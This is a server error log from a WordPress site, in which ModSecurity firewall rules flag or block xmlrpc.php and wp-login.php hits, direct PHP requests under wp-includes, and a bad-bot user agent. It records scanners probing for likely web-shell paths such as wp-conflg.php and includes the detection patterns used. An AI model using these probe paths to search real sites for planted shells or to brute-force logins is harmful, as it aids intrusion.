[Sat Jan 10 19:28:19.690784 2026] [:error] [pid 64621:tid 64637] [client 103.82.211.120:53766] [client 103.82.211.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.211.120, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWI304a9na_3sfYAP9qkiQAAAw4"]
[Sat Jan 10 19:38:49.511259 2026] [:error] [pid 1249:tid 1269] [client 223.244.35.77:51804] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWI6SUtd4KGpcdnrDZWdqwAAANE"]
[Sat Jan 10 20:25:58.493850 2026] [autoindex:error] [pid 64621:tid 64633] [client 143.244.141.160:51462] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 23:04:08.734258 2026] [autoindex:error] [pid 20646:tid 20657] [client 138.197.13.155:58691] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 10 23:45:44.051357 2026] [:error] [pid 1383:tid 1407] [client 43.155.27.244:49646] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWJ0KCSbzyQbm27sbcKCgQAAA9I"]
[Sat Jan 10 23:50:08.308322 2026] [autoindex:error] [pid 1296:tid 1304] [client 4.189.120.199:24651] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Jan 10 23:50:11.834446 2026] [:error] [pid 31369:tid 31372] [client 4.189.120.199:5786] [client 4.189.120.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.120.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWJ1M7gqeMKgT1uTxuKU-AAAAUE"], referer: https://www.google.de/
[Sat Jan 10 23:50:13.949342 2026] [autoindex:error] [pid 1296:tid 1306] [client 4.189.120.199:24651] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Jan 10 23:50:15.084858 2026] [autoindex:error] [pid 1296:tid 1301] [client 4.189.120.199:24651] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Jan 10 23:50:16.668359 2026] [autoindex:error] [pid 1296:tid 1319] [client 4.189.120.199:24651] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Sat Jan 10 23:50:16.782203 2026] [:error] [pid 1296:tid 1303] [client 4.189.120.199:24651] [client 4.189.120.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aWJ1OCbQW-fowWjMNKC12wAAAkU"], referer: https://www.google.com/
[Sat Jan 10 23:50:17.009335 2026] [:error] [pid 1296:tid 1305] [client 4.189.120.199:44752] [client 4.189.120.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aWJ1OSbQW-fowWjMNKC13AAAAkc"], referer: https://duckduckgo.com/
[Sat Jan 10 23:50:17.236304 2026] [:error] [pid 1125:tid 1138] [client 4.189.120.199:5790] [client 4.189.120.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWJ1OXqAWYc4UwRgeOeBawAAAEs"], referer: https://www.google.fr/
[Sun Jan 11 01:00:59.897350 2026] [:error] [pid 57649:tid 57675] [client 5.161.113.246:51136] [client 5.161.113.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.161.113.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWKFy1cvIwrych3kBnpIwgAAApg"]
[Sun Jan 11 02:33:34.379045 2026] [:error] [pid 1296:tid 1316] [client 54.251.31.23:38676] [client 54.251.31.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.251.31.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWKbfibQW-fowWjMNKDKpQAAAlI"]
[Sun Jan 11 03:02:08.677817 2026] [:error] [pid 1249:tid 1259] [client 79.133.51.80:48754] [client 79.133.51.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.133.51.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWKiMEtd4KGpcdnrDZXHtgAAAMc"]
[Sun Jan 11 04:05:51.220311 2026] [:error] [pid 5272:tid 5289] [client 181.2.144.58:33136] [client 181.2.144.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 181.2.144.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWKxH1p55bCsukUvYGaYQgAAAM8"]
[Sun Jan 11 05:39:11.417517 2026] [:error] [pid 5272:tid 5285] [client 90.156.142.31:18130] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWLG_1p55bCsukUvYGa3oQAAAMs"]
[Sun Jan 11 08:25:57.240929 2026] [:error] [pid 11747:tid 11771] [client 114.96.103.33:38717] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWLuFaRFw84LNpZSk7mQCQAAAVQ"]
[Sun Jan 11 09:17:10.627758 2026] [:error] [pid 36611:tid 36617] [client 43.135.186.135:36464] [client 43.135.186.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWL6Fj8oZoZHsoTdjhgRnwAAAkQ"]
[Sun Jan 11 10:52:28.530018 2026] [:error] [pid 11748:tid 11782] [client 143.110.190.80:56532] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.190.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWMQbAC5xybrWOCNnoa02gAAAYQ"]
[Sun Jan 11 11:06:24.868828 2026] [:error] [pid 35730:tid 35749] [client 43.152.72.244:56224] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWMTsDi7U_mfHtESQHn4uQAAAdE"]
[Sun Jan 11 11:35:37.151835 2026] [:error] [pid 40191:tid 40215] [client 217.160.225.18:43660] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWMaiUm2BH1CV1p0EUGJwQAAAtY"]
[Sun Jan 11 13:23:14.617132 2026] [:error] [pid 5155:tid 5224] [client 75.119.143.140:41886] [client 75.119.143.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.119.143.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWMzwlgEKFpNs0_zLGndSQAAAIg"]
[Sun Jan 11 14:33:57.787721 2026] [:error] [pid 5272:tid 5280] [client 103.157.204.97:57146] [client 103.157.204.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.157.204.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWNEVVp55bCsukUvYGYs7wAAAMY"]
[Sun Jan 11 14:46:02.107189 2026] [:error] [pid 11748:tid 11778] [client 106.119.167.146:48255] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWNHKgC5xybrWOCNnobQUAAAAYA"]
[Sun Jan 11 16:06:06.317832 2026] [:error] [pid 35977:tid 35990] [client 178.33.49.166:43614] [client 178.33.49.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.49.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWNZ7rDST5RMqStLeP1G0QAAAgo"]
[Sun Jan 11 17:22:23.416076 2026] [:error] [pid 5155:tid 5218] [client 43.166.244.251:45842] [client 43.166.244.251] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWNrz1gEKFpNs0_zLGn7ZwAAAII"]
[Sun Jan 11 18:46:49.104660 2026] [:error] [pid 35977:tid 35981] [client 43.135.144.81:41680] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWN_mbDST5RMqStLeP1iiQAAAgE"]
[Sun Jan 11 18:55:21.617780 2026] [:error] [pid 35730:tid 35749] [client 163.5.241.47:38711] [client 163.5.241.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBmTi7U_mfHtESQHk83AAAAdE"], referer: https://www.google.com/
[Sun Jan 11 18:55:24.178297 2026] [:error] [pid 40191:tid 40204] [client 163.5.241.19:56565] [client 163.5.241.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBnEm2BH1CV1p0EUHCKAAAAss"], referer: https://www.google.com/
[Sun Jan 11 18:55:26.766599 2026] [:error] [pid 11747:tid 11760] [client 163.5.241.60:40553] [client 163.5.241.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBnqRFw84LNpZSk7nS2QAAAUk"], referer: https://www.google.com/
[Sun Jan 11 18:55:29.396542 2026] [:error] [pid 5155:tid 5228] [client 163.5.241.65:64831] [client 163.5.241.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBoVgEKFpNs0_zLGkKvQAAAIw"], referer: https://www.google.com/
[Sun Jan 11 18:55:31.993138 2026] [:error] [pid 40191:tid 40210] [client 163.5.241.40:22207] [client 163.5.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBo0m2BH1CV1p0EUHCNQAAAtE"], referer: https://www.google.com/
[Sun Jan 11 18:55:34.701958 2026] [:error] [pid 5272:tid 5275] [client 163.5.241.55:57975] [client 163.5.241.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.5.241.55, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOBplp55bCsukUvYGZdxgAAAME"], referer: https://www.google.com/
[Sun Jan 11 19:22:54.014059 2026] [:error] [pid 5272:tid 5292] [client 104.37.174.183:37602] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWOIDlp55bCsukUvYGZj8wAAANI"]
[Sun Jan 11 20:18:16.473599 2026] [:error] [pid 5272:tid 5283] [client 74.225.195.179:18836] [client 74.225.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aWOVCFp55bCsukUvYGZwNgAAAMk"], referer: https://duckduckgo.com/
[Sun Jan 11 20:18:28.725591 2026] [autoindex:error] [pid 35977:tid 35991] [client 74.225.195.179:19606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 20:18:35.257471 2026] [autoindex:error] [pid 35977:tid 35998] [client 74.225.195.179:19606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sun Jan 11 20:18:36.835218 2026] [autoindex:error] [pid 35977:tid 35997] [client 74.225.195.179:19606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sun Jan 11 20:18:47.451416 2026] [:error] [pid 35977:tid 35987] [client 74.225.195.179:22333] [client 74.225.195.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.225.195.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWOVJ7DST5RMqStLeP11ogAAAgc"], referer: https://www.google.co.uk/
[Sun Jan 11 20:18:51.255600 2026] [autoindex:error] [pid 35977:tid 35986] [client 74.225.195.179:19606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 20:18:56.725392 2026] [:error] [pid 35730:tid 35752] [client 74.225.195.179:28248] [client 74.225.195.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.225.195.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWOVMDi7U_mfHtESQHlWZgAAAdQ"], referer: https://duckduckgo.com/
[Sun Jan 11 20:18:57.946448 2026] [autoindex:error] [pid 35977:tid 35992] [client 74.225.195.179:19606] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sun Jan 11 20:19:00.728499 2026] [:error] [pid 35977:tid 35993] [client 74.225.195.179:19606] [client 74.225.195.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.225.195.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aWOVNLDST5RMqStLeP11rwAAAg0"], referer: https://www.google.com/
[Sun Jan 11 20:19:03.358977 2026] [:error] [pid 35977:tid 35985] [client 74.225.195.179:19606] [client 74.225.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-login.php"] [unique_id "aWOVN7DST5RMqStLeP11sQAAAgU"], referer: https://www.bing.com/
[Sun Jan 11 20:19:18.355390 2026] [autoindex:error] [pid 11748:tid 11778] [client 74.225.195.179:19998] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sun Jan 11 20:19:18.492618 2026] [:error] [pid 11748:tid 11790] [client 74.225.195.179:19998] [client 74.225.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aWOVRgC5xybrWOCNnob9pAAAAYw"], referer: https://duckduckgo.com/
[Sun Jan 11 20:54:49.368906 2026] [:error] [pid 5152:tid 5184] [client 104.28.235.59:34530] [client 104.28.235.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aWOdmRm0axGMFrpuXHCXYwAAABY"]
[Sun Jan 11 20:54:49.789311 2026] [:error] [pid 35977:tid 35986] [client 104.28.235.59:34532] [client 104.28.235.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aWOdmbDST5RMqStLeP171QAAAgY"]
[Sun Jan 11 21:15:35.407224 2026] [:error] [pid 11747:tid 11766] [client 182.44.12.37:38256] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWOid6RFw84LNpZSk7nnDgAAAU8"]
[Sun Jan 11 21:33:43.043873 2026] [:error] [pid 36611:tid 36628] [client 4.241.208.191:1992] [client 4.241.208.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aWOmtz8oZoZHsoTdjhhoqAAAAk8"], referer: https://www.google.de/
